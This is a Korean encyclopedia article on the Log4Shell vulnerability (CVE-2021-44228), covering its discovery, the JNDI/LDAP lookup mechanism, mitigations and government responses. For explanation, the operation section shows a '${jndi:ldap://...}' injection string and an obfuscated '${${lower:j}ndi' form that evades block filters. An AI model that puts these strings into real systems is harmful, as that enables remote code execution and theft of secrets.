Log4Shell
CVE 식별자 | CVE-2021-44228 |
---|---|
발견일 | 2021년 11월 24일 |
패치일 | 2021년 12월 6일 |
발견자 | 알리바바 클라우드 보안팀의 천자오쥔[1] |
영향을 받는 소프트웨어 | Log4j 2를 사용하여 사용자 입력을 기록하는 애플리케이션 |
Log4Shell 또는 CVE-2021-44228는 저명한 자바 로깅 프레임워크 Log4j의 제로 데이 임의 코드 실행 취약점이다.[2][3] 이 취약점은 알리바바의 클라우드 보안팀에 의해 2021년 11월 24일 아파치에 비공개로 전달되었으며 2021년 12월 9일 대중에게 공개되었다.[1][4][5]
이 취약점은 LDAP과 JNDI 요청을 검사하지 않는 Log4j의 특징을 이용하여,[6][2][7] 공격자가 임의의 자바 코드를 서버 또는 기타 컴퓨터에서 실행할 수 있게 한다.[5] 영향을 받는 서비스에는 아마존 AWS,[8] 클라우드플레어, 아이클라우드, 마인크래프트 자바 에디션,[9] 스팀, 텐센트 QQ가 포함된다.[6][10] 루나섹(LunaSec)은 이 취약점을 "파멸적 부분의 설계적 실패"[5]로, Tenable은 "지난 10년 이내의 가장 심각한, 단일로서는 최대의 취약점"으로 특징을 지었다.[11] Log4j 프로젝트를 맡는 아파치 소프트웨어 재단은 Log4Shell에 CVSS 점수 최고점인 10점을 부여하였다.[12]
배경
[편집]Log4j는 소프트웨어 개발자가 자신의 애플리케이션 안에 다양한 데이터의 로그 기록을 남길 수 있게 하는 오픈 소스 로깅 프레임워크이다. 이 데이터는 사용자 입력을 포함할 수도 있다.[13] 자바 애플리케이션, 특히 기업용 소프트웨어 전반에 사용된다.[5] 2001년 Ceki Gülcü가 처음 개발한 Log4j는 현재 아파치 소프트웨어 재단 프로젝트의 하나인 아파치 로깅 서비스의 일부이다.[14]
동작
[편집]JNDI는 프로그램 런타임 시 지정된 데이터 경로의 자바 오브젝트 검색을 허용한다. JNDI는 여러 디렉터리 인터페이스를 지렛대처럼 활용할 수 있으며 각 인터페이스는 각기 다른 파일 검색 스킴을 제공한다. 이 인터페이스들 중에는 자바로 개발되지 않은 프로토콜의 하나인 LDAP이 있으며[15] 이는 로컬이든 인터넷 어느 곳에서든 적절한 서버로부터 오브젝트 데이터를 URL로 받아온다.[16]
기본 구성에서 문자열 로그를 기록할 때 Log4j 2는 ${prefix:name}
형태의 식에 문자열 치환을 수행한다.[16] 예를 들어, Text: ${java:version}
는 Text: Java version 1.7.0_67
로 변환될 수 있다.[17] 인식되는 식들 중에 ${jndi:<lookup>}
가 있다. LDAP을 통해 lookup을 지정함으로써 임의의 URL을 조회하고 자바 오브젝트 데이터로 로드할 수 있다. 예를 들어 ${jndi:ldap://example.com/file}
는 인터넷에 연결되어 있다면 해당 URL로부터 데이터를 로드하게 된다. 로깅이 되는 문자열을 입력함으로써 공격자는 퍼블릭 URL에서 호스팅되는 악성 코드를 로드하고 실행할 수 있다.[16] 데이터의 실행을 비활성화해 놓았더라도 공격자는 여전히 기밀 환경 변수 등의 데이터를 (URL 배치를 통해) 받아올 수 있으며 여기서 치환을 거쳐 공격자의 서버로 송신할 수 있다.[18][19]
HTTP 요청이 자주 로깅되기 때문에 공통 공격 벡터는 악성 문자열을 HTTP 요청 URL이나 흔히 로깅되는 HTTP 헤더(예: User-Agent
)에 배치시킨다. 초기의 완화 방법에는 "${jndi
" 등의 잠재적으로 악성일 가능성이 높은 콘텐츠를 포함하는 모든 요청을 차단하는 것이 포함되었다.[20] 아무렇지 않게 수행한 검색은 요청을 모호하게 만듦으로써 우회가 가능하다: 예를 들어 ${${lower:j}ndi
는 문자 j에 소문자 처리를 수행한 이후 JNDI 룩업으로 변환된다.[21] 입력이 즉시 로깅되지 않더라도 나중에 내부 처리 중에 로깅한 다음에 콘텐츠의 실행이 가능할 수 있다.[16]
완화
[편집]이 취약점의 픽스가 취약점이 공표되기 3일 전 2021년 12월 6일 Log4j 버전 2.15.0-rc1에서 출시되었다.[22] 이 픽스에는 여러 시스템 속성을 사용하여 구성이 가능한 룩업(lookup)에 사용될 수 있는 서버와 프로토콜을 제한하는 것이 포함되었다. 이는 log4j2.formatMsgNoLookups
시스템 속성을 대체하였다. 2.10.0 이후의 과거 버전에서는 취약점을 완화하는데 해당 속성을 true
로 설정하는 것이 권장된다.[23][7][12] 2.10.0 이전 버전의 경우 org.apache.logging.log4j.core.lookup.JndiLookup
클래스를 클래스패스에서 제거해야 한다.[12]
게다가 JNDI를 사용하는 모든 기능은 2.15.1 이상부터 기본적으로 비활성화된다.[24]
새 버전의 자바 런타임 환경(JRE) 또한 원격 코드의 로드를 기본적으로 차단함으로써 이 취약점을 완화시킨다. 다만 다른 공격 벡터가 여전히 특정 애플리케이션에 존재한다.[18][2][25] 내장된 자바 패키지에서 취약한 log4j 버전의 이용을 검출하는데 도움을 주는 여러 방식과 도구가 게시되었다.[26]
반응과 영향
[편집]미국에서 사이버보안 및 인프라 보안국(CISA)의 감독 젠 이스털리(Jen Easterly)는 이 취약점을 심각한 것으로 보고 벤더들에게 소프트웨어 업데이트를 우선할 것을 충고했다.[27] 캐나다 사이버 보안 센터(CCCS)는 단체들에게 즉각적인 조치를 취할 것을 주문했다.[28] 독일의 연방정보기술보안청(Bundesamt für Sicherheit in der Informationstechnik, BSI)은 이 취약점을 기관 최고의 위협 수준으로 지정하였고 이를 "극히 심각한 위협적 상황"으로 언급하였다. 여러 공격들이 이미 성공적이었음이 밝혀졌고 취약점의 정도가 조사하기 힘든 상황이라고 보고되었다.[29][30]
클라우드플레어의 CEO 매튜 프린스(Matthew Prince)에 따르면 이 취약점의 이용과 테스트의 증거가 적어도 12월 1일로 거슬러 올라가며 이는 취약점이 공개된지 9일 앞선 것이다.[31] 사이버보안 기업 그레이노이즈에 따르면 여러 IP 주소들이 웹사이트들을 스크랩하여 취약점이 있는 서버를 물색하였다.[32] 캐나다 국세청은 취약점을 이해한 뒤 일시적으로 온라인 서비스를 종료하였고 퀘벡 정부는 예방 조치의 일환으로서 정부 웹사이트 중 약 4,000개를 폐쇄하였다.[33]
시스템 관리자들은 이 상황을 조사하고 라이브러리를 업데이트하거나 시스템 속성을 이용하는 룩업을 비활성화함으로써 가능한 조속히 완화 조치를 단행할 것을 충고받았다.[34]
각주
[편집]- ↑ 가 나 “Log4Shell Vulnerability is the Coal in our Stocking for 2021”. 《맥아피》 (영어). 2021년 12월 10일. 2021년 12월 12일에 확인함.
- ↑ 가 나 다 “Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package”. 《www.lunasec.io》 (영어). 2021년 12월 9일. 2021년 12월 12일에 확인함.
- ↑ “CVE - CVE-2021-44228”. 《cve.mitre.org》. 2021년 12월 12일에 확인함.
- ↑ “Worst Apache Log4j RCE Zero day Dropped on Internet”. 《www.cyberkendra.com》. 2021년 12월 9일. 2021년 12월 12일에 확인함.
- ↑ 가 나 다 라 Newman, Lily Hay. “‘The Internet Is on Fire’”. 《Wired》 (미국 영어). ISSN 1059-1028. 2021년 12월 12일에 확인함.
- ↑ 가 나 “Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit”. 《PC Magazine》 (영어). 2021년 12월 12일에 확인함.
- ↑ 가 나 Goodin, Dan (2021년 12월 10일). “Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet”. 《Ars Technica》 (미국 영어). 2021년 12월 12일에 확인함.
- ↑ “Update for Apache Log4j2 Issue (CVE-2021-44228)”. 《aws.amazon.com》. 2021년 12월 12일. 2021년 12월 13일에 확인함.
- ↑ “Security Vulnerability in Minecraft: Java Edition”. 《모장 스튜디오》. 2021년 12월 13일에 확인함.
- ↑ Goodin, Dan (2021년 12월 10일). “The Internet's biggest players are all affected by critical Log4Shell 0-day”. 《ArsTechnica》. 2021년 12월 13일에 확인함.
- ↑ Press, Associated (2021년 12월 11일). “Recently uncovered software flaw ‘most critical vulnerability of the last decade’”. 《가디언》 (영어). 2021년 12월 12일에 확인함.
- ↑ 가 나 다 “Log4j – Apache Log4j Security Vulnerabilities”. 《logging.apache.org》. 2021년 12월 12일에 확인함.
- ↑ Yan, Tao; Deng, Qi; Zhang, Haozhe; Fu, Yu; Grunzweig, Josh (2021년 12월 10일). “Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228)”. 《Unit 42》. 팰로앨토 네트웍스.
- ↑ “Log4j – Apache Log4j 2”. 《logging.apache.org》. 2021년 12월 12일에 확인함.
- ↑ Network Working Group (June 2006). “RFC 4511: Lightweight Directory Access Protocol (LDAP)”. International Electronic Task Force. 2021년 12월 13일에 확인함.
- ↑ 가 나 다 라 Graham-Cumming, John (2021년 12월 10일). “Inside the Log4j2 vulnerability (CVE-2021-44228)”. 《The Cloudflare Blog》 (영어). 2021년 12월 13일에 확인함.
- ↑ “Lookups”. 《Apache Logging Services》. Apache Software Foundation. 2021년 12월 6일. 2021년 12월 13일에 확인함.
- ↑ 가 나 Ducklin, Paul (2021년 12월 12일). “Log4Shell explained – how it works, why you need to know, and how to fix it”. 《Naked Security》. Sophos. 2021년 12월 12일에 확인함.
- ↑ Miessler, Daniel (2021년 12월 13일). “The log4j (Log4Shell) Situation”. 2021년 12월 12일에 확인함.
- ↑ Gabor, Gabriel. “CVE-2021-44228 - Log4j RCE 0-day mitigation”. 《The Cloudflare Blog》. 2021년 12월 13일에 확인함.
- ↑ Hahad, Mounir (2021년 12월 12일). “Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns”. 2021년 12월 12일에 확인함.
- ↑ “Restrict LDAP access via JNDI by rgoers - Pull Request #608 - apache/logging-log4j2”. 《깃허브》 (영어). 2021년 12월 5일. 2021년 12월 12일에 확인함.
- ↑ “LOG4J2-3198: Log4j2 no longer formats lookups in messages by default”. 《깃허브》 (영어). 2021년 12월 5일.
- ↑ “LOG4J2-3208: Disable JNDI by default”. 《issues.apache.org》. 2021년 12월 11일.
- ↑ “Java(TM) SE Development Kit 8, Update 121 (JDK 8u121) Release Notes” (영어). Oracle. 2017년 1월 17일. 2021년 12월 13일에 확인함.
- ↑ “Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228)”. 《www.lunasec.io》 (영어). 2021년 12월 13일. 2021년 12월 13일에 확인함.
- ↑ “STATEMENT FROM CISA DIRECTOR EASTERLY ON "LOG4J" VULNERABILITY”. 《CISA》. 2021년 12월 11일.
- ↑ “Statement from the Minister of National Defence on Apache Vulnerability and Call to Canadian Organizations to Take Urgent Action”. 《Government of Canada》 (영어). 2021년 12월 12일. 2021년 12월 20일에 원본 문서에서 보존된 문서. 2021년 12월 14일에 확인함.
- ↑ “BSI warnt vor Sicherheitslücke”. 《Tagesschau》. 2021년 12월 12일.
- ↑ “Warnstufe Rot: Schwachstelle Log4Shell führt zu extrem kritischer Bedrohungslage” [Red alarm: Log4Shell vulnerability causes extremely critical threat situation]. 《BSI press service》 (독일어). 2021년 12월 12일. 2021년 12월 13일에 원본 문서에서 보존된 문서. 2021년 12월 14일에 확인함.
- ↑ Duckett, Chris. “Log4j RCE activity began on December 1 as botnets start using vulnerability”. 《ZDNet》 (영어). 2021년 12월 13일에 확인함.
- ↑ “Apache Log4j RCE Attempts”. 《www.greynoise.io》. 2021년 12월 12일에 확인함.
- ↑ “Facing cybersecurity threats, Quebec shuts down government websites for evaluation”. 《CBC 뉴스》. 2021년 12월 12일. 2021년 12월 12일에 확인함.
- ↑ “Apache Releases Log4j Version 2.15.0 to Address Critical RCE Vulnerability Under Exploitation”. 《CISA》. 2021년 12월 12일에 확인함.